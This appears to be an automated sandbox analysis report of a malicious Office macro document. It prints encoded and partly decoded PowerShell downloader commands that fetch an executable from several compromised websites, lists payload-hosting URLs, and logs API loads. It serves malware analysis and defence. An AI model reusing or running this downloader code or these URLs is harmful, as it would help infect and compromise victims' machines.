

Overview

Is DLL 

Packer 

Anti Debug 

Anti VM 

Signed 

XOR 

MalScore: 100

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code pag
File size:	223.20 KB (228560 bytes)
Compile time:	0000-00-00 00:00:00
MD5:	d8d2efbdc39fdf5c2ab1ac103b086013
SHA1:	12ed90c6ed7b1d12397325688790d5b1cbdc0e90
Submitted:	2020-11-17 05:24:07

URL(s) file hosting

<https://copelandscapes.com/wp-content/Reporting/h6r950668980md660hf4dq6q/>

<http://generaldeviales.com/wp-admin/swift/q3kbe1861928732711755fv8oqozi4c7n30u/>

<http://fundacionemme.com.ar/archivo/kffi104ezymd/>

<http://geoffoglemusic.com/wp-admin/Documentation/vywec2f3maki/>

<http://goldcoastoffice365.com.au/temp/OCT/>

<http://hivasafety.ir/update/public/>

<http://somcorbera.cat/wp-admin/hv7vxefad/>

<http://smarthouseforum.ru/webstruct/nxz3ul141416693415698pgcuxhImpboes/>

<http://wewege.com/wp-includes/public/i4wh7c490215243591062l5yxuh7y98emi0vv4ibs/>

<http://degepro.com/eTrac/Reporting/>

<https://snyderlawns.com/cgi-bin/attachments/v3w16306371992350703c9hyft801tw/>

<http://girlgeekdinner.com/wp-content/paclm/>

<http://nikniek.nl/cgi-bin/Documentation/>

<http://traveltoharamain.com/cgi-bin/balance/cvhpjys40575848271zeb9l6hfydvo7v4/>

<http://sutomoresmestaj.net/menu/897945/bdyv9n/>

<http://snyderlawns.com/cgi-bin/attachments/v3w16306371992350703c9hyft801tw/>

<http://somasleyendas.cl/mail/browse/>

<http://vbcargo.hu/img/Overview/>

Antivirus Report

Report date	Detection Ratio	Permalink
No report available		

16

Behaviors detected by system signatures

Domain Sinkholed or blacklisted

- Alert: Honeypot blocked domain: qstride.com

Attempts to execute suspicious powershell command arguments

- command: powershell -e

JABXAHQAdQByADAAOQAxAD0AKAAoACcAUQAnACsAJwBkAHgAJwApACsAKAAAnADEAOQBtA
CcAKwAnADkAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABIAG0AJwAp
ACAAJABFAG4AVgA6AHQARQBNAHAAXAB3AE8AUgBEAFwAMgAwADEAOQBcACAALQBpAH
QAZQBtAHQAeQBwAGUAIABkAGkAUgBIAEMAVABvAHIAeQA7AFsATgBIAHQALgBTAGUAcgB2
AGkAYwBIAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIACwBgAGUAQwB1AFIASQ
BgAFQAWQBQAFIAbwBgAFQATwBDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACc
AKwAnADEAMgAnACkAKwAoACcALAAAnACsAJwAgAHQAbAAAnACkAKwAoACcAcwAnACsAJwAx
ADEALAAgAHQAbAAAnACkAKwAnAHMAJwApADsAJABHAHkANAA3AF8ANABkACAAPQAgACgA
KAAAnAFkAJwArACcAOAA1AG0AaQA0AHYAJwApACsAJwB0AGQAJwApADsAJABLAHgAZgBmA
HQAAQB5AD0AKAAoACcAUgAnACsAJwBvADEAJwApACsAKAAAnADkAbwAnACsAJwBsADYAJw
ApACkAOwAkAEcAdgA1AHkAaAAzAG4APQAKAGUAbgB2ADoAdABIAG0AcAArACgAKAAoACcAd
QByACcAKwAnADEAdwBvAHIAJwArACcAZAAnACkAKwAoACcAdQAnACsAJwByADEAJwApACkALQByAEUAcABsAEEAQwBF
ACgAWwBDAGgAYQBSAF0AMQAxADcAKwBbAEMAaABhAFIAXQAxADEANAArAFsAQwBoAGEA
UgBdADQAOQApACwAWwBDAGgAYQBSAF0AOQAYcAKwAkAEcAeQA0ADcAXwA0AGQAKw
AoACcALgAnACsAKAAAnAGUAEAAAnACsAJwBIACcAKQApADsAJABCAGQAZgB4AGUAOAAxAD0
AKAAAnAFkAZAAnACsAKAAAnAF8AMgBwACcAKwAnAGMAJwApACsAJwA5ACcAKQA7ACQARQB
uAGkAYwA5AGIACgA9ACYAKAAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJw
ApACAAbgBFAFQALgB3AEUAQgBjAGwASQBFAG4AdAA7ACQASABxADAeQBsADAAYgA9ACg
AKAAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHEAJwApACsAKAAAnA
HMAdAAAnACsAJwByAGkAJwApACsAJwBkAGUAJwArACcALgAnACsAJwBjACcAKwAoACcAbwBt
ACcAKwAnAC8AJwApACsAKAAAnAGkAbQBnAC8AJwArACcAMAAvACoAJwApACsAKAAAnAGgAJw
ArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHQAcwBrACcAKwAnAGcAJwApACsAKAAAnAGUA
YQByAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuA
HQAJwArACcAZQBwACcAKwAoACcAdAAvACcAKwAnAHUAcAAAnACkAKwAnAGwAJwArACcAbwB
hACcAKwAnAGQAcwAnACsAKAAAnAC8AMgAnACsAJwAwACcAKQArACgAJwAxADUAJwArACcAL

```
wAwADYALwBwACcAKwAnAHoALwAqACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwAC  
cAKwAnADoALwAvAHYAZQAnACkAKwAoACcAcgBtAGEAcwAnACsAJwBpACcAKQArACcAeQBh  
ACcAKwAnAGEAaAAnACsAKAAnAGkALgBjACcAKwAnAg8AJwApACsAKAAnAG0ALwAnACsAJw  
BjACcAKwAnAGcAaQATAGIAaQAnACsAJwBuAC8AJwApACsAKAAnADgALwAqACcAKwAnAggAd  
AB0AHAAJwArACcAOGAnACkAKwAoACcALwAnACsAJwAvAHcAdwAnACkAKwAoACcAdwAuAHc  
AJwArACcAZQAnACkAKwAoACcAYgBsACcAKwAnAGEAYgBvAHIAJwApACsAKAAnAC4AJwArAC  
cAYwBvAG0AJwApACsAJwAuAGIAJwArACcAcgAvACcAKwAoACcAYQAnACsAJwB2AGkAcwAnA  
CkAKwAnAG8AcwAnACsAKAAnAC8AJwArACcAUQBjACcAKwAnAFUAOQAvACcAKQArACgAJw  
AqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwB2AGkAb  
gAnACsAJwBpAGMAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBzAH  
- decoded_base64_string:  
$Wtur091=((('Q'+ 'dx')+('19m'+ '9')));.('n'+ 'ew-i'+ 'tem')  
$Env:tEmP\wORD\2019\ -itemtype  
diReCTory;[Net.ServicePointManager]::"s`eCuRI`TYPRo`TOCoL  
" = ('tl'+('s'+ '12'))+(','+ 'tl')+('s'+ '11, tl')+('s');$Gy47_4d =  
(('Y'+ '85mi4v')+('td'));$Kxftiy=((('R'+ 'o1')+('9o'+ 'l6')));$Gv5yh3n  
=$env:temp+(((('ur'+ '1wor'+ 'd')+('u'+ 'r1'+ '2019')+('u'+ 'r1')))-rEpI  
ACE([Char]117+[Char]114+[Char]49),[Char]92)+$Gy47_4d+(''  
'+('ex'+ 'e'));$Bdfxe81=('Yd'+('_2p'+ 'c')+ '9');$Enic9br=&('new-'  
+ 'obj'+ 'ect')  
nET.wEBCLient;$Hq0yI0b=((('h'+ 'tt')+('p'+ '://q')+('st'+ 'ri')+ 'de'+  
'. '+ 'c'+ ('om'+ '//')+('img'+ '0/*')+('h'+ 'tt')+('p://tsk'+ 'g')+('ear.co  
m'+ 'wp'+ '-')+ 'co'+ 'nt'+ 'en'+ ('t'+ 'up')+ 'l'+ 'oa'+ 'ds'+ ('/2'+ '0')+ ('  
15'+ '/06/p'+ 'z/*')+ 'ht'+ ('t'+ 'p'+ '://ve')+ ('rmas'+ 'i')+ 'ya'+ 'ah'+ ('i.  
c'+ 'o')+ ('m'+ 'c'+ 'gi-bi'+ 'n')+ ('8/*'+ 'http'+ ':')+ ('/+ '/ww')+ ('w. w  
'+ 'e')+ ('bl'+ 'abor')+ ('.'+ 'com')+ '.b'+ 'r'+ ('a'+ 'vis')+ 'os'+ ('/+ 'QI'  
+ 'U9/))+ ('*ht'+ 't')+ ('p'+ '://')+ ('vin'+ 'ic'+ 'i')+ ('u'+ 'srange')+ ('l'+  
.c')+ 'om'+ ('e'+ 'x')+ ('per'+ 'i'+ 'm'+ 'enta')+ ('l/VlhM'+ 'h1'+ '//')+ ('*  
htt'+ 'p')+ ':'+ ('/+ '/'+ 'westvac')+ ('.'+ 'com')+ '/w'+ ('p'+ 'co')+ 'nt'+  
'e'+ 'n'+ 't'+ ('G'+ 'OYx/*'+ 'htt')+ ('p'+ 's')+ ('//'+ 'v')+ ('ie'+ 'w')+ ('a  
ll'+ '.')+ 'e'+ 'u'+ ('/cgi'+ 'b')+ 'in'+ ('/Sbh'+ 'ZP')+ '9X'+ '//')."S`pLIt"(  
[char]42);$Kbtdvqv=((('B'+ '1yu'))
```

Attempts to create or modify system certificates

A scripting utility was executed

```
- command: powershell -e  
JABXAHQAdQByADAAOQAxAD0AKAAoACcAUQAnACsAJwBkAHgAJwApACsAKAAnADEAOQBtA  
CcAKwAnADkAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABIAG0AJwAp  
ACA AJABFAG4AVgA6AHQARQBNAHAAXAB3AE8AUgBEAFwAMgAwADEAOQBcACAALQBpAH  
QAZQBtAHQAeQBWAGUAIABkAGkAUgBIAEMAVABvAHIAeQA7AFsATgBIAHQALgBTAGUAcgB2  
AGkAYwBIAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIACwBgAGUAQwB1AFIASQ  
BgAFQAWQBQAFIAbwBgAFQATwBDAG8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACc  
AKwAnADEAMgAnACkAKwAoACcALAAAnACsAJwAgAHQAbAAAnACkAKwAoACcAcwAnACsAJwAx  
ADEALAAgAHQAbAAAnACkAKwAnAHMAJwApADsAJABHAHkANAA3AF8ANABkACAAPQAgACgA  
KAAnAFkAJwArACcAOAA1AG0AaQA0AHYAJwApACsAJwB0AGQAJwApADsAJABLAHGAZgBmA  
HQAaQB5AD0AKAAoACcAUgAnACsAJwBvADEAJwApACsAKAAnADkAbwAnACsAJwBsADYAJw  
ApACkAOwAKAEcAdgA1AHkAaAAzAG4APQAKAGUAbgB2ADoAdABIAG0AcAArACgAKAAoACcAd  
QByACcAKwAnADEAdwBvAHIAJwArACcAZAAnACkAKwAoACcAdQAnACsAJwByADEAJwArACcA  
MgAwADEAOQAnACkAKwAoACcAdQAnACsAJwByADEAJwApACkALQByAEUAcABsAEEAQwBF  
ACgAWwBDAGgAYQBSAF0AMQAxADcAKwBbAEMAaABhAFIAXQAxADEANAArAFsAQwBoAGEA  
UgBdADQAOQApACwAWwBDAGgAYQBSAF0AOQAYcKkAKwAKAEcAeQA0ADcAXwA0AGQAKw  
AoACcALgAnACsAKAAnAGUAEAAAnACsAJwBIACcAKQApADsAJABCAGQAZgB4AGUAOAAxAD0  
AKAAnAFkAZAAnACsAKAAnAF8AMgBwACcAKwAnAGMAJwApACsAJwA5ACcAKQA7ACQARQB  
uAGkAYwA5AGIACgA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJw  
ApACAAbgBFAFQALgB3AEUAQgBjAGwASQBFAg4AdAA7ACQASABxADAeQBbsADAAYgA9ACg  
AKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwArACcAKwAnADoALwAvAHEAJwApACsAKAAnA  
HMAdAAnACsAJwByAGkAJwApACsAJwBkAGUAJwArACcALgAnACsAJwBjACcAKwAoACcAbwBt  
ACcAKwAnAC8AJwApACsAKAAnAGkAbQBnAC8AJwArACcAMAAvACoAJwApACsAKAAnAGgAJw  
ArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHQAcwBrACcAKwAnAGcAJwApACsAKAAnAGUA  
YQByAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuA  
HQAJwArACcAZQBwACcAKwAoACcAdAAvACcAKwAnAHUAcAAAnACkAKwAnAGwAJwArACcAbwB  
hACcAKwAnAGQAcwAnACsAKAAnAC8AMgAnACsAJwAwACcAKQArACgAJwAxADUAJwArACcAL
```

wAwADYALwBwACcAKwAnAHoALwAqACcAKQArACcAaAB0ACcAKwAoACcAdAAnACsAJwBwACcAKwAnADoALwAvAHYAZQAnACkAKwAoACcAcgBtAGEAcwAnACsAJwBpACcAKQArACcAeQBhACcAKwAnAGEAaAAnACsAKAAAnAGkALgBjACcAKwAnAG8AJwApACsAKAAAnAG0ALwAnACsAJwBjACcAKwAnAGcAaQAtAGIAaQAnACsAJwBuAC8AJwApACsAKAAAnADgALwAqACcAKwAnAGgAdAB0AHAAJwArACcAOGAnACkAKwAoACcALwAnACsAJwAvAHcAdwAnACkAKwAoACcAdwAuAHcAJwArACcAZQAnACkAKwAoACcAYgBsACcAKwAnAGEAYgBvAHIAJwApACsAKAAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAuAGIAJwArACcAcgAvACcAKwAoACcAYQAnACsAJwB2AGkAcwAnACkAKwAnAG8AcwAnACsAKAAAnAC8AJwArACcAUQBjACcAKwAnAFUAOQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwB2AGkAbgAnACsAJwBpAGMAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBzAH

The office file has 2 macros.

Performs some HTTP requests

- url: <http://qstride.com/img/0/>
- url: <http://tskgear.com/wp-content/uploads/2015/06/pz/>
- url: <http://vermasiyaahi.com/cgi-bin/8/>
- url: <http://www.weblabor.com.br/avisos/QIU9/>
- url: <http://viniciusrangel.com/experimental/VlhMh1/>
- url: <http://westvac.com/wp-content/GOYx/>

HTTP traffic contains suspicious features which may be indicative of malware related traffic

- get_no_useragent: HTTP traffic contains a GET request with no user-agent header
- suspicious_request: <http://qstride.com/img/0/>
- suspicious_request: <http://tskgear.com/wp-content/uploads/2015/06/pz/>
- suspicious_request: <http://vermasiyaahi.com/cgi-bin/8/>
- suspicious_request: <http://www.weblabor.com.br/avisos/QIU9/>
- suspicious_request: <http://viniciusrangel.com/experimental/VlhMh1/>
- suspicious_request: <http://westvac.com/wp-content/GOYx/>

Executed a very long command line or script command which may be indicative of chained commands or obfuscation

- command: powershell -e
JABXAHQAdQByADAAOQAxAD0AKAAoACcAUQAnACsAJwBkAHgAJwApACsAKAAAnADEAOQBtACcAKwAnADkAJwApACkAOwAuACgAJwBuACcAKwAnAGUAdwAtAGkAJwArACcAdABIAG0AJwApACAAJABFAG4AVgA6AHQARQBNAHAAXAB3AE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABkAGkAUgBIAEMAVABvAHIAeQA7AFsATgBIAHQALgBTAGUAcgb2AGkAYwBIAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBgAGUAQwB1AFIASQBgAFQAWQBQAFIAbwBgAFQATwBDAG8ATAAiACAAPQAgCgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKwAoACcALAAAnACsAJwAgAHQAAbAAAnACkAKwAoACcAcwAnACsAJwAxADEALAAgAHQAbAAAnACkAKwAnAHMAJwApADsAJABHAHkANAA3AF8ANABkACAAPQAgACgAKAAAnAFkAJwArACcAOAA1AG0AaQA0AHYAJwApACsAJwB0AGQAJwApADsAJABLAHgAZgBmA HQAaQB5AD0AKAAoACcAUgAnACsAJwBvADEAJwApACsAKAAAnADkAbwAnACsAJwBsADYAJwApACkAOwAkAEcAdgA1AHkAAaAzAG4APQAKAGUAbgB2ADoAdABIAG0AcAArACgAKAAoACcAdQByACcAKwAnADEAdwBvAHIAJwArACcAZAAnACkAKwAoACcAdQAnACsAJwByADEAJwArACcAMgAwADEAOQAnACkAKwAoACcAdQAnACsAJwByADEAJwApACkALQByAEUAcABsAEEAQwBFACgAWwBDAGgAYQBSAF0AMQAxADcAKwBbAEMAaABhAFIAXQAxADEANAArAFsAQwBoAGEAUgBdADQAOQApACwAWwBDAGgAYQBSAF0AOQAYACkAKwAKAEcAeQA0AdcAXwA0AGQAKwAoACcALgAnACsAKAAAnAGUAAAnACsAJwBIACcAKQApADsAJABCAGQAZgB4AGUAOAAxAD0AKAAAnAFkAZAAnACsAKAAAnAF8AMgBwACcAKwAnAGMAJwApACsAJwA5ACcAKQA7ACQARQB uAGkAYwA5AGIACgA9ACYAKAAAnAG4AZQB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAGwASQBFAG4AdAA7ACQASABxADAeQBbsADAAYgA9ACgAKAAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvAHEAJwApACsAKAAAnAHMAAAnACsAJwByAGkAJwApACsAJwBkAGUAJwArACcALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAKAAAnAGkAbQbNAC8AJwArACcAMAAvACoAJwApACsAKAAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvAHcAdwAnACkAKwAoACcAdwAuAHcAJwArACcAZQAnACkAKwAoACcAYgBsACcAKwAnAGEAYgBvAHIAJwApACsAKAAAnAC4AJwArACcAYwBvAG0AJwApACsAJwAuAGIAJwArACcAcgAvACcAKwAoACcAYQAnACsAJwB2AGkAcwAnACkAKwAnAG8AcwAnACsAKAAAnAC8AJwArACcAUQBjACcAKwAnAFUAOQAvACcAKQArACgAJwAqAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAvACcAKQArACgAJwB2AGkAbgAnACsAJwBpAGMAJwArACcAaQAnACkAKwAoACcAdQAnACsAJwBzAH

- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GDI32.dll/GetCharABCWidthsI
- DynamicLoader: USP10.DLL/ScriptGetFontScriptTags
- DynamicLoader: GDI32.dll/GdiRealizationInfo
- DynamicLoader: GDI32.dll/FontIsLinked
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: USP10.DLL/ScriptGetFontLanguageTags
- DynamicLoader: USP10.DLL/ScriptGetFontFeatureTags
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: MSPTLS.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/



- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ADVAPI32.dll/RegQueryValueW
- DynamicLoader: apphelp.dll/ApphelpCheckShellObject
- DynamicLoader: mso.dll/
- DynamicLoader: SXS.DLL/SxsOleAut32MapReferenceClsidToConfiguredClsid
- DynamicLoader: mso.dll/
- DynamicLoader: SXS.DLL/SxsOleAut32RedirectTypeLibrary
- DynamicLoader: ADVAPI32.dll/RegOpenKeyW
- DynamicLoader: ADVAPI32.dll/RegQueryValueW
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: VBE7.DLL/DllVbelInit
- DynamicLoader: mso.dll/MsoInitGimme
- DynamicLoader: mso.dll/MsoFGimmeFeatureEx
- DynamicLoader: mso.dll/MsoFGimmeComponentEx
- DynamicLoader: mso.dll/MsoFGimmeFileEx
- DynamicLoader: mso.dll/MsoSetLVProperty
- DynamicLoader: mso.dll/MsoVBADigSigCallDlg
- DynamicLoader: mso.dll/MsoVbalnitSecurity
- DynamicLoader: mso.dll/MsoFIEPolicyAndVersion
- DynamicLoader: mso.dll/MsoFUseIEFeature
- DynamicLoader: mso.dll/MsoFAnsiCodePageSupportsLCID
- DynamicLoader: mso.dll/MsoFInitOffice
- DynamicLoader: mso.dll/MsoUninitOffice
- DynamicLoader: mso.dll/MsoFGetFontSettings
- DynamicLoader: mso.dll/MsoRgchToRgwch
- DynamicLoader: mso.dll/MsoHrSimpleQueryInterface
- DynamicLoader: mso.dll/MsoHrSimpleQueryInterface2
- DynamicLoader: mso.dll/MsoFCreateControl
- DynamicLoader: mso.dll/MsoFLongLoad
- DynamicLoader: mso.dll/MsoFLongSave
- DynamicLoader: mso.dll/MsoFGetTooltips
- DynamicLoader: mso.dll/MsoFSetTooltips
- DynamicLoader: mso.dll/MsoFLoadToolbarSet
- DynamicLoader: mso.dll/MsoFCreateToolbarSet
- DynamicLoader: mso.dll/MsoInitShrGlobal
- DynamicLoader: mso.dll/MsoHpalOffice
- DynamicLoader: mso.dll/MsoFWndProcNeeded
- DynamicLoader: mso.dll/MsoFWndProc
- DynamicLoader: mso.dll/MsoFCreatelTFCHwnd
- DynamicLoader: mso.dll/MsoDestroyITFC
- DynamicLoader: mso.dll/MsoFPitbsFromHwndAndMsg
- DynamicLoader: mso.dll/MsoFGetComponentManager
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: mso.dll/MsoWideCharToMultiByte
- DynamicLoader: mso.dll/MsoHrRegisterAll
- DynamicLoader: mso.dll/MsoFSetComponentManager
- DynamicLoader: mso.dll/MsoFCreateStdComponentManager
- DynamicLoader: mso.dll/MsoFHandledMessageNeeded



- DynamicLoader: mso.dll/MsoPeekMessage
- DynamicLoader: mso.dll/MsoGetWWWCmdInfo
- DynamicLoader: mso.dll/MsoFExecWWWHelp
- DynamicLoader: mso.dll/MsoFCreatelPref
- DynamicLoader: mso.dll/MsoDestroylPref
- DynamicLoader: mso.dll/MsoChsFromLid
- DynamicLoader: mso.dll/MsoCpgFromChs
- DynamicLoader: mso.dll/MsoSetLocale
- DynamicLoader: mso.dll/MsoFSetHMsoinstOfSdm
- DynamicLoader: mso.dll/MsoVBADigSig2CallDlGEx
- DynamicLoader: mso.dll/MsoVbalnitSecurityEx
- DynamicLoader: OLEAUT32.dll/SysFreeString
- DynamicLoader: OLEAUT32.dll/LoadTypeLib
- DynamicLoader: OLEAUT32.dll/RegisterTypeLib
- DynamicLoader: OLEAUT32.dll/QueryPathOfRegTypeLib
- DynamicLoader: OLEAUT32.dll/UnRegisterTypeLib
- DynamicLoader: OLEAUT32.dll/OleTranslateColor
- DynamicLoader: OLEAUT32.dll/OleCreateFontIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePictureIndirect
- DynamicLoader: OLEAUT32.dll/OleLoadPicture
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrameIndirect
- DynamicLoader: OLEAUT32.dll/OleCreatePropertyFrame
- DynamicLoader: OLEAUT32.dll/OleIconToCursor
- DynamicLoader: OLEAUT32.dll/LoadTypeLibEx
- DynamicLoader: OLEAUT32.dll/OleLoadPictureEx
- DynamicLoader: USER32.dll/GetSystemMetrics
- DynamicLoader: USER32.dll/MonitorFromWindow
- DynamicLoader: USER32.dll/MonitorFromRect
- DynamicLoader: USER32.dll/MonitorFromPoint
- DynamicLoader: USER32.dll/EnumDisplayMonitors
- DynamicLoader: USER32.dll/GetMonitorInfoA
- DynamicLoader: USER32.dll/EnumDisplayDevicesA
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromTypeInfo
- DynamicLoader: OLEAUT32.dll/GetRecordInfoFromGuids
- DynamicLoader: OLEAUT32.dll/SafeArrayGetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArraySetRecordInfo
- DynamicLoader: OLEAUT32.dll/SafeArrayGetIID
- DynamicLoader: OLEAUT32.dll/SafeArraySetIID
- DynamicLoader: OLEAUT32.dll/SafeArrayCopyData
- DynamicLoader: OLEAUT32.dll/SafeArrayAllocDescriptorEx
- DynamicLoader: OLEAUT32.dll/SafeArrayCreateEx
- DynamicLoader: OLEAUT32.dll/VarFormat
- DynamicLoader: OLEAUT32.dll/VarFormatDateTime
- DynamicLoader: OLEAUT32.dll/VarFormatNumber
- DynamicLoader: OLEAUT32.dll/VarFormatPercent
- DynamicLoader: OLEAUT32.dll/VarFormatCurrency
- DynamicLoader: OLEAUT32.dll/VarWeekdayName
- DynamicLoader: OLEAUT32.dll/VarMonthName
- DynamicLoader: OLEAUT32.dll/VarAdd
- DynamicLoader: OLEAUT32.dll/VarAnd
- DynamicLoader: OLEAUT32.dll/VarCat
- DynamicLoader: OLEAUT32.dll/VarDiv
- DynamicLoader: OLEAUT32.dll/VarEqv
- DynamicLoader: OLEAUT32.dll/VarlDiv
- DynamicLoader: OLEAUT32.dll/Varlmp
- DynamicLoader: OLEAUT32.dll/VarMod
- DynamicLoader: OLEAUT32.dll/VarMul
- DynamicLoader: OLEAUT32.dll/VarOr
- DynamicLoader: OLEAUT32.dll/VarPow
- DynamicLoader: OLEAUT32.dll/VarSub
- DynamicLoader: OLEAUT32.dll/VarXor
- DynamicLoader: OLEAUT32.dll/VarAbs
- DynamicLoader: OLEAUT32.dll/VarFix



- DynamicLoader: OLEAUT32.dll/VarInt
- DynamicLoader: OLEAUT32.dll/VarNeg
- DynamicLoader: OLEAUT32.dll/VarNot
- DynamicLoader: OLEAUT32.dll/VarRound
- DynamicLoader: OLEAUT32.dll/VarCmp
- DynamicLoader: OLEAUT32.dll/VarDecAdd
- DynamicLoader: OLEAUT32.dll/VarDecCmp
- DynamicLoader: OLEAUT32.dll/VarBstrCat
- DynamicLoader: OLEAUT32.dll/VarCyMull4
- DynamicLoader: OLEAUT32.dll/VarCyMul
- DynamicLoader: OLEAUT32.dll/VarCyInt
- DynamicLoader: OLEAUT32.dll/VarCyFix
- DynamicLoader: OLEAUT32.dll/VarBstrCmp
- DynamicLoader: ole32.dll/CoCreateInstanceEx
- DynamicLoader: ole32.dll/CLSIDFromProgIDEx
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/MsoMultiByteToWideChar
- DynamicLoader: ADVAPI32.dll/RegEnumKeyW
- DynamicLoader: SXS.DLL/SxsOleAut32MapConfiguredClsidToReferenceClsid
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/RegisterTypeLibForUser
- DynamicLoader: mso.dll/
- DynamicLoader: Comctl32.dll/ImageList_Destroy
- DynamicLoader: Comctl32.dll/ImageList_GetIconSize
- DynamicLoader: Comctl32.dll/InitCommonControls
- DynamicLoader: Comctl32.dll/ImageList_LoadImageA
- DynamicLoader: Comctl32.dll/ImageList_SetOverlayImage
- DynamicLoader: Comctl32.dll/ImageList_AddMasked
- DynamicLoader: Comctl32.dll/ImageList_GetImageInfo
- DynamicLoader: Comctl32.dll/ImageList_Draw
- DynamicLoader: Comctl32.dll/ImageList_DrawEx
- DynamicLoader: Comctl32.dll/PropertySheetA
- DynamicLoader: Comctl32.dll/DestroyPropertySheetPage
- DynamicLoader: Comctl32.dll/CreatePropertySheetPageA
- DynamicLoader: Comctl32.dll/RegisterClassNameW
- DynamicLoader: uxtheme.dll/OpenThemeData
- DynamicLoader: uxtheme.dll/GetThemeColor
- DynamicLoader: uxtheme.dll/IsThemePartDefined
- DynamicLoader: uxtheme.dll/GetThemeBool
- DynamicLoader: uxtheme.dll/GetThemeFont
- DynamicLoader: Comctl32.dll/HIMAGELIST_QueryInterface
- DynamicLoader: Comctl32.dll/DrawShadowText
- DynamicLoader: Comctl32.dll/DrawSizeBox
- DynamicLoader: Comctl32.dll/DrawScrollBar
- DynamicLoader: Comctl32.dll/SizeBoxHwnd
- DynamicLoader: Comctl32.dll/ScrollBar_MouseMove
- DynamicLoader: Comctl32.dll/ScrollBar_Menu
- DynamicLoader: Comctl32.dll/HandleScrollCmd
